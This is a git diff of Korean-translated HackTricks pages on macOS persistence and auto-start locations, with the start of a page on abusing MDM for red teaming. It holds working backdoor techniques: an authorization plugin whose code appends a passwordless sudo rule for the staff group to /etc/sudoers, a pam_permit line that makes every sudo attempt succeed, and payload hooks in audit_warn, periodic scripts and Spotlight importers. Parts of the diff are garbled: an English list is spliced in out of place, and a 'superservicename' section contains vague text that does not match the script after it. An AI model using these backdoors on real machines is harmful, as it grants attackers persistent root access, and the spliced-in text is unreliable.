이 빠른 검색 기능을 용이하게 하기 위해 Spotlight은 **독점 데이터베이스**를 유지하고 대부분의 파일을 구문 분석하여 색인을 생성하여 파일 이름과 내용을 통한 신속한 검색을 가능하게 합니다.
|
||||
Spotlight는 macOS의 내장 검색 기능으로, 사용자에게 **컴퓨터의 데이터에 빠르고 포괄적인 액세스**를 제공하기 위해 설계되었습니다.\
|
||||
이 빠른 검색 기능을 용이하게 하기 위해 Spotlight는 **독점 데이터베이스**를 유지하고 대부분의 파일을 구문 분석하여 색인을 생성하여 파일 이름과 내용을 통한 신속한 검색을 가능하게 합니다.
|
||||
|
||||
Spotlight의 기본 메커니즘은 'mds'라는 중앙 프로세스를 포함하며, 이는 **'메타데이터 서버'**를 나타냅니다. 이 프로세스는 전체 Spotlight 서비스를 조정합니다. 이에 보완적으로, 여러 'mdworker' 데몬이 다양한 유지 관리 작업을 수행하며, 다양한 파일 형식을 색인화합니다 (`ps -ef | grep mdworker`). 이러한 작업은 Spotlight 가져오기 플러그인 또는 **".mdimporter 번들**"을 통해 가능하며, 이를 통해 Spotlight은 다양한 파일 형식의 콘텐츠를 이해하고 색인화할 수 있습니다.
|
||||
Spotlight의 기본 메커니즘은 'mds'라는 중앙 프로세스를 포함하며, 이는 **'메타데이터 서버'**를 나타냅니다. 이 프로세스는 Spotlight 서비스 전반을 조정합니다. 이에 보완적으로, 여러 'mdworker' 데몬이 다양한 유지 관리 작업을 수행하며, 다양한 파일 형식을 색인화합니다 (`ps -ef | grep mdworker`). 이러한 작업은 Spotlight 가져오기 플러그인 또는 **".mdimporter 번들**"을 통해 가능하며, 이를 통해 Spotlight는 다양한 파일 형식의 콘텐츠를 이해하고 색인화할 수 있습니다.
|
||||
|
||||
플러그인 또는 **`.mdimporter`** 번들은 이전에 언급된 위치에 있으며, 새 번들이 나타나면 분 내에 로드됩니다(서비스를 다시 시작할 필요 없음). 이러한 번들은 관리할 수 있는 **파일 유형 및 확장자를 나타내야**하며, 이렇게 하면 Spotlight은 지정된 확장자를 가진 새 파일이 생성될 때 이를 사용합니다.
|
||||
플러그인 또는 **`.mdimporter`** 번들은 이전에 언급된 위치에 있으며, 새 번들이 나타나면 분 내에 로드됩니다(서비스를 다시 시작할 필요 없음). 이러한 번들은 관리할 수 있는 **파일 유형 및 확장자를 나타내야**하며, 이렇게 하면 스포트라이트가 지정된 확장자를 가진 새 파일이 생성될 때 이를 사용합니다.
|
||||
|
||||
모든 로드된 `mdimporters`를 찾을 수 있습니다. 실행 중:
|
||||
로드된 **모든 `mdimporters`**를 찾을 수 있습니다. 실행 중:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1163,10 +1159,10 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
{% hint style="danger" %}
|
||||
만약 다른 `mdimporter`의 Plist를 확인하면 **`UTTypeConformsTo`** 항목을 찾을 수 없을 수 있습니다. 이는 내장 _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier))이기 때문에 확장자를 지정할 필요가 없기 때문입니다.
|
||||
|
||||
또한, 시스템 기본 플러그인이 항상 우선권을 갖기 때문에, 공격자는 애플의 자체 `mdimporters`에 의해 인덱싱되지 않은 파일에만 액세스할 수 있습니다.
|
||||
또한, 시스템 기본 플러그인이 항상 우선권을 갖기 때문에, 공격자는 애플의 자체 `mdimporters`에 의해 색인화되지 않은 파일에만 액세스할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
자체 `importer`를 만들려면 이 프로젝트를 시작할 수 있습니다: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) 그리고 이름, **`CFBundleDocumentTypes`**를 변경하고 **`UTImportedTypeDeclarations`**를 추가하여 지원하려는 확장자를 지원하도록하고 **`schema.xml`**에서 이를 반영하십시오.\
|
||||
자체 Importer를 만들려면 이 프로젝트를 시작할 수 있습니다: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) 그리고 이름, **`CFBundleDocumentTypes`**를 변경하고 **`UTImportedTypeDeclarations`**를 추가하여 지원하려는 확장자를 지원하도록하고 **`schema.xml`**에서 이를 반영하십시오.\
|
||||
그런 다음 **`GetMetadataForFile`** 함수의 코드를 **변경**하여 처리된 확장자가 포함된 파일이 생성될 때 페이로드를 실행하도록합니다.
|
||||
|
||||
마지막으로 새로운 `.mdimporter`를 빌드하고 복사하여 이전 위치 중 하나에 붙여넣고 **로그를 모니터링**하거나 **`mdimport -L`**을 확인하여 로드될 때마다 확인할 수 있습니다.
|
||||
|
@ -1180,7 +1176,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 특정 사용자 조치가 필요합니다
|
||||
* 특정 사용자 조치가 필요함
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -1196,15 +1192,15 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
|
|||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서는 **루트** 권한이 필요하거나 다른 **이상한 조건**이 필요한 **파일에 쓰여진 것을 단순히 실행**할 수 있는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다.
|
||||
여기에서는 **루트** 권한이 필요하거나 다른 **이상한 조건**이 필요한 **파일에 쓰기만으로 무언가를 실행**할 수 있는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 주기적
|
||||
### 주기적인
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 그러나 루트 권한이 필요합니다
|
||||
* 그러나 루트 권한이 필요함
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -1218,7 +1214,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
|
||||
#### 설명 및 악용
|
||||
|
||||
주기적 스크립트 (**`/etc/periodic`**)는 `/System/Library/LaunchDaemons/com.apple.periodic*`에 구성된 **런치 데몬** 때문에 실행됩니다. `/etc/periodic/`에 저장된 스크립트는 **파일의 소유자로 실행**되기 때문에 잠재적인 권한 상승에는 작동하지 않습니다.
|
||||
주기적 스크립트 (**`/etc/periodic`**)는 `/System/Library/LaunchDaemons/com.apple.periodic*`에 구성된 **런치 데몬** 때문에 실행됩니다. `/etc/periodic/`에 저장된 스크립트는 **파일의 소유자로 실행**되기 때문에 잠재적인 권한 상슨에는 작동하지 않습니다.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
|
@ -1252,17 +1248,17 @@ total 8
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
다른 주기적 스크립트들이 실행될 것으로 표시된 것이 **`/etc/defaults/periodic.conf`**에 있습니다:
|
||||
다른 주기적인 스크립트들이 실행될 것으로 표시된 것이 **`/etc/defaults/periodic.conf`**에 있습니다:
|
||||
```bash
|
||||
grep "Local scripts" /etc/defaults/periodic.conf
|
||||
daily_local="/etc/daily.local" # Local scripts
|
||||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
만약 `/etc/daily.local`, `/etc/weekly.local`, 또는 `/etc/monthly.local` 파일 중 하나를 작성한다면 **언젠가 실행될 것**입니다.
|
||||
만약 `/etc/daily.local`, `/etc/weekly.local`, 또는 `/etc/monthly.local` 파일 중 하나를 작성한다면 **언젠가 실행**될 것입니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
주기적 스크립트는 **스크립트의 소유자로 실행**됩니다. 따라서 일반 사용자가 스크립트를 소유하는 경우 해당 사용자로 실행됩니다 (이는 권한 상슨 공격을 방지할 수 있음).
|
||||
주기적 스크립트는 **스크립트의 소유자로 실행**됩니다. 따라서 일반 사용자가 스크립트를 소유하고 있다면 해당 사용자로 실행됩니다 (이는 권한 상승 공격을 방지할 수 있음).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
@ -1278,9 +1274,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
|||
|
||||
* 항상 루트 권한 필요
|
||||
|
||||
#### 설명 및 공격
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
PAM은 macOS 내에서 쉬운 실행보다는 **지속성**과 악성 코드에 더 중점을 둔다. 이 블로그에서는 이 기술을 더 잘 이해하기 위해 자세한 설명을 제공하지 않습니다. **기술 설명을 이해하려면 해당 기술 설명을 읽으십시오**.
|
||||
PAM은 macOS 내에서 쉬운 실행보다는 **지속성**과 악성 코드에 더 중점을 둔다. 이 기술을 더 잘 이해하기 위해 **해당 기술에 대한 설명을 읽어보세요**.
|
||||
|
||||
PAM 모듈을 확인하려면:
|
||||
```bash
|
||||
|
@ -1288,17 +1284,43 @@ ls -l /etc/pam.d
|
|||
```
|
||||
## macOS Auto Start Locations
|
||||
|
||||
### macOS Auto Start Locations
|
||||
### Launch Agents
|
||||
|
||||
A persistence/privilege escalation technique abusing PAM is as easy as modifying the module /etc/pam.d/sudo adding at the beginning the line:
|
||||
#### Global
|
||||
|
||||
### macOS 자동 시작 위치
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/Library/LaunchDaemons/`
|
||||
|
||||
PAM을 남용한 지속성/권한 상승 기술은 /etc/pam.d/sudo 모듈을 수정하여 다음 줄을 맨 앞에 추가하는 것만큼 쉽습니다:
|
||||
#### Per-User
|
||||
|
||||
- `~/Library/LaunchAgents/`
|
||||
|
||||
### Login/Logout Items
|
||||
|
||||
- System Preferences > Users & Groups > Login Items
|
||||
|
||||
### Startup Items
|
||||
|
||||
- `/Library/StartupItems/`
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
- `crontab -l`
|
||||
- `/etc/crontab`
|
||||
- `/etc/cron.*/*`
|
||||
|
||||
### Kernel Extensions
|
||||
|
||||
- `/Library/Extensions/`
|
||||
- `/System/Library/Extensions/`
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
그렇게 하면 다음과 같이 보일 것입니다:
|
||||
그렇게 보일 것입니다.
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
|
@ -1312,7 +1334,7 @@ session required pam_permit.so
|
|||
그리고 따라서 **`sudo`를 사용하려는 모든 시도가 작동**합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 디렉토리는 TCC에 의해 보호되므로 사용자가 액세스를 요청하는 프롬프트를 받을 가능성이 매우 높습니다.
|
||||
이 디렉토리는 TCC에 의해 보호되므로 사용자가 액세스 권한을 요청하는 프롬프트를 받을 가능성이 매우 높습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 권한 플러그인
|
||||
|
@ -1330,9 +1352,9 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
* 루트 권한 필요
|
||||
* 플러그인을 사용하도록 권한 데이터베이스를 구성해야 함
|
||||
|
||||
#### 설명 및 악용
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
사용자가 로그인할 때 실행되는 권한 플러그인을 생성하여 지속성을 유지할 수 있습니다. 이러한 플러그인 중 하나를 만드는 방법에 대한 자세한 정보는 이전의 writeup을 확인하십시오 (그리고 조심하세요, 잘못 작성된 플러그인은 사용자를 차단하고 복구 모드에서 Mac을 정리해야 할 수 있습니다).
|
||||
사용자가 로그인할 때 실행되는 권한 플러그인을 생성하여 지속성을 유지할 수 있습니다. 이러한 플러그인 중 하나를 생성하는 방법에 대한 자세한 정보는 이전의 writeup을 확인하십시오 (그리고 조심하세요, 잘못 작성된 플러그인은 사용자를 잠금 상태로 만들 수 있으며 복구 모드에서 Mac을 정리해야 할 수 있습니다).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1347,7 +1369,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**번들**을 로드할 위치로 이동하십시오:
|
||||
**번들**을 로드할 위치로 **이동**하십시오:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
|
@ -1376,7 +1398,7 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
|||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
그런 다음 **스태프 그룹은 sudo 액세스**를 가져야 합니다(`/etc/sudoers`를 읽어 확인).
|
||||
그런 다음 **스태프 그룹은 sudo 액세스**를 가져야 합니다 (`/etc/sudoers`를 읽어 확인).
|
||||
|
||||
### Man.conf
|
||||
|
||||
|
@ -1425,7 +1447,7 @@ touch /tmp/manconf
|
|||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
`/etc/apache2/httpd.conf`에 모듈을 로드하도록 지정할 수 있습니다. 다음과 같은 줄을 추가하면 됩니다:
|
||||
`/etc/apache2/httpd.conf`에 모듈을 로드하도록 지정할 수 있습니다. 다음과 같은 줄을 추가하십시오:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1463,11 +1485,11 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
|
||||
* **`/etc/security/audit_warn`**
|
||||
* 루트 권한 필요
|
||||
* **트리거**: auditd가 경고를 감지할 때
|
||||
* **트리거**: auditd가 경고를 감지했을 때
|
||||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
auditd가 경고를 감지할 때 스크립트 **`/etc/security/audit_warn`**이 **실행**됩니다. 따라서 여기에 페이로드를 추가할 수 있습니다.
|
||||
auditd가 경고를 감지하면 스크립트 **`/etc/security/audit_warn`**이 **실행**됩니다. 따라서 여기에 페이로드를 추가할 수 있습니다.
|
||||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
|
@ -1480,9 +1502,9 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
**StartupItem**은 `/Library/StartupItems/` 또는 `/System/Library/StartupItems/` 중 하나에 위치해야 하는 디렉토리입니다. 이 디렉토리가 설정되면 두 가지 특정 파일을 포함해야 합니다:
|
||||
|
||||
1. **rc 스크립트**: 시작할 때 실행되는 셸 스크립트입니다.
|
||||
2. **plist 파일**, 특히 `StartupParameters.plist`로 명명된 파일로 다양한 구성 설정을 포함합니다.
|
||||
2. 여러 구성 설정을 포함하는 **plist 파일**인 `StartupParameters.plist`이어야 합니다.
|
||||
|
||||
시작 프로세스가 이들을 인식하고 활용할 수 있도록 rc 스크립트와 `StartupParameters.plist` 파일이 올바른 위치에 있는지 확인하십시오.
|
||||
시작 프로세스가 이러한 파일을 인식하고 활용할 수 있도록 시작 항목 디렉토리 내에 rc 스크립트와 `StartupParameters.plist` 파일이 올바르게 배치되어 있는지 확인하십시오.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1504,7 +1526,37 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}슈퍼서비스이름{% endtab %}
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### 슈퍼 서비스 이름
|
||||
|
||||
시스템 부팅 시 자동으로 실행되는 서비스의 이름을 변경하여 해당 서비스를 식별합니다.
|
||||
|
||||
#### 위치
|
||||
|
||||
```plaintext
|
||||
/Library/LaunchDaemons/superservicename.plist
|
||||
```
|
||||
|
||||
#### 설명
|
||||
|
||||
이 위치에는 시스템 부팅 시 자동으로 실행되는 서비스의 구성 파일이 있습니다. 이 파일을 편집하여 서비스의 이름을 변경할 수 있습니다.
|
||||
|
||||
#### 영향
|
||||
|
||||
서비스의 이름을 변경하면 해당 서비스를 식별하는 데 도움이 될 수 있습니다. 그러나 잘못된 편집은 시스템 부팅에 영향을 줄 수 있으므로 주의해야 합니다.
|
||||
|
||||
#### 탐지
|
||||
|
||||
시스템 부팅 시 자동으로 실행되는 서비스의 이름을 확인하려면 해당 위치의 파일을 확인하십시오.
|
||||
|
||||
#### 방어
|
||||
|
||||
이 위치의 파일에 대한 쓰기 권한을 최소한으로 제한하여 불필요한 변경을 방지하고, 서비스의 이름을 변경할 때는 신중히 검토해야 합니다.
|
||||
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1529,12 +1581,12 @@ RunService "$1"
|
|||
### emond
|
||||
|
||||
{% hint style="danger" %}
|
||||
나는 내 macOS에서 이 구성 요소를 찾을 수 없습니다. 자세한 정보는 writeup을 확인하십시오.
|
||||
나는 macOS에서 이 구성 요소를 찾을 수 없습니다. 자세한 정보는 writeup을 확인하십시오.
|
||||
{% endhint %}
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Apple에 의해 소개된 **emond**는 개발이 미비하거나 아마도 폐기된 것으로 보이지만 여전히 접근 가능합니다. Mac 관리자에게 특별히 유익하지는 않지만, 이 낯선 서비스는 위협 행위자에게 미묘한 지속성 방법으로 작용할 수 있으며, 아마도 대부분의 macOS 관리자들에게는 눈에 띄지 않을 것입니다.
|
||||
Apple에 의해 소개된 **emond**는 개발이 미비하거나 아마도 폐기된 것으로 보이지만 여전히 접근 가능합니다. Mac 관리자에게 특별히 유익하지는 않지만, 이 낯선 서비스는 위협 요소들에게 미묘한 지속성 방법으로 작용할 수 있으며, 아마도 대부분의 macOS 관리자들에게는 눈에 띄지 않을 것입니다.
|
||||
|
||||
**emond**의 악용을 인식하는 데 익숙한 사람들에게는 간단합니다. 이 서비스의 LaunchDaemon은 실행할 스크립트를 단일 디렉토리에서 찾습니다. 이를 검사하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
|
@ -1552,12 +1604,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
XQuartz는 macOS에 **더 이상 설치되지 않습니다**, 자세한 정보가 필요하면 writeup을 확인하십시오.
|
||||
XQuartz는 macOS에 **더 이상 설치되지 않으므로**, 자세한 정보가 필요하면 writeup을 확인하십시오.
|
||||
|
||||
### kext
|
||||
|
||||
{% hint style="danger" %}
|
||||
루트로 심지어 kext를 설치하는 것이 너무 복잡하여 이를 모래 상자를 탈출하거나 영속성을 위해 고려하지 않겠습니다 (exploit이 있는 경우 제외)
|
||||
루트로 심지어 kext를 설치하는 것이 너무 복잡하여 이를 모래 상자를 탈출하거나 지속성을 위해 고려하지 않겠습니다 (exploit이 있는 경우 제외)
|
||||
{% endhint %}
|
||||
|
||||
#### 위치
|
||||
|
@ -1569,7 +1621,7 @@ KEXT를 시작 항목으로 설치하려면 다음 위치 중 하나에 **설치
|
|||
* `/Library/Extensions`
|
||||
* 제3자 소프트웨어에 의해 설치된 KEXT 파일
|
||||
|
||||
현재로드된 kext 파일을 나열할 수 있습니다:
|
||||
현재로드된 kext 파일을 다음과 같이 나열할 수 있습니다:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1577,6 +1629,8 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
|||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
[**커널 확장에 대한 자세한 정보는 이 섹션을 확인하십시오**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
|
||||
### ~~amstoold~~
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
@ -1588,9 +1642,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
`/System/Library/LaunchAgents/com.apple.amstoold.plist`의 `plist`가이 이진 파일을 사용하고 XPC 서비스를 노출하는 동안... 문제는 해당 바이너리가 존재하지 않았기 때문에 거기에 무언가를 놓을 수 있고 XPC 서비스가 호출 될 때 바이너리가 호출됩니다.
|
||||
`/System/Library/LaunchAgents/com.apple.amstoold.plist`의 `plist`가이 바이너리를 사용하고 XPC 서비스를 노출했습니다... 문제는 바이너리가 존재하지 않았기 때문에 거기에 무언가를 놓을 수 있고 XPC 서비스가 호출될 때 바이너리가 호출됩니다.
|
||||
|
||||
나는 더 이상 내 macOS에서 이것을 찾을 수 없습니다.
|
||||
나는 더 이상 내 macOS에서 이것을 찾을 수 없다.
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
|
@ -1604,7 +1658,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
|
||||
#### 설명 및 exploit
|
||||
|
||||
이 스크립트를 실행하는 것은 매우 흔하지 않은 것으로 보이며, 내 macOS에서 심지어 찾을 수 없었습니다. 자세한 정보가 필요하면 writeup을 확인하십시오.
|
||||
이 스크립트를 실행하는 것은 매우 흔하지 않은 것으로 보이며, 내 macOS에서 심지어 찾을 수 없었으므로 자세한 정보가 필요하다면 writeup을 확인하십시오.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1612,7 +1666,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
**현대 MacOS 버전에서 작동하지 않습니다**
|
||||
{% endhint %}
|
||||
|
||||
여기에 **부팅시 실행될 명령을 배치하는 것도 가능합니다.** 일반적인 rc.common 스크립트의 예시:
|
||||
여기에 **부팅시 실행될 명령어를 배치하는 것도 가능합니다.** 일반적인 rc.common 스크립트의 예시:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1716,10 +1770,10 @@ esac
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,35 +19,35 @@ HackTricks를 지원하는 다른 방법:
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
관리 플랫폼에 액세스하기 위해 **관리자 자격 증명을 침해**하면 악성 코드를 컴퓨터에 배포하여 **모든 컴퓨터를 잠재적으로 침해**할 수 있습니다.
|
||||
**관리자 자격 증명을 탈취**하여 관리 플랫폼에 액세스하면 악성 코드를 컴퓨터에 배포하여 **모든 컴퓨터를 잠재적으로 탈취**할 수 있습니다.
|
||||
|
||||
MacOS 환경에서 레드 팀 활동을 위해서는 MDM의 작동 방식에 대한 이해가 매우 권장됩니다:
|
||||
MacOS 환경에서 레드팀을 위해 MDM 작동 방식에 대한 이해가 매우 권장됩니다:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MDM을 C2로 사용하기
|
||||
### MDM을 C2로 사용
|
||||
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하고 애플리케이션을 설치하고 로컬 관리자 계정을 생성하고 펌웨어 암호를 설정하고 FileVault 키를 변경하는 권한이 있습니다.
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하거나 응용 프로그램을 설치, 로컬 관리자 계정을 생성, 펌웨어 암호를 설정, FileVault 키를 변경할 수 있는 권한이 있습니다.
|
||||
|
||||
자체 MDM을 실행하려면 [**https://mdmcert.download/**](https://mdmcert.download/)에서 **공급업체에 의해 서명된 CSR**을 얻으려고 시도할 수 있습니다. Apple 기기용 자체 MDM을 실행하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
자체 MDM을 실행하려면 [**https://mdmcert.download/**](https://mdmcert.download/)에서 시도하여 얻을 수 있는 **공급 업체에 의해 서명된 CSR**가 필요합니다. 그리고 Apple 기기용 자체 MDM을 실행하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
|
||||
그러나 등록된 기기에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명해야 합니다... 그러나 MDM 등록 시 **기기는 신뢰할 수 있는 CA로 MDM의 SSL 인증서를 추가**하므로 이제 모든 것을 서명할 수 있습니다.
|
||||
그러나 등록된 기기에 응용 프로그램을 설치하려면 여전히 개발자 계정으로 서명해야 합니다... 그러나 MDM 등록 시 **기기는 MDM의 SSL 인증서를 신뢰하는 CA로 추가**되므로 이제 모든 것을 서명할 수 있습니다.
|
||||
|
||||
기기를 MDM에 등록하려면 루트로 **`mobileconfig`** 파일을 설치해야 합니다. 이 파일은 **pkg** 파일을 통해 전달될 수 있습니다 (zip으로 압축하고 Safari에서 다운로드하면 압축이 풀립니다).
|
||||
MDM에 기기를 등록하려면 루트로 **`mobileconfig`** 파일을 설치해야 하며, 이는 **pkg** 파일을 통해 전달할 수 있습니다 (Safari에서 다운로드하면 압축이 풀립니다).
|
||||
|
||||
**Mythic agent Orthrus**는 이 기술을 사용합니다.
|
||||
**Mythic 에이전트 Orthrus**는 이 기술을 사용합니다.
|
||||
|
||||
### JAMF PRO 남용
|
||||
|
||||
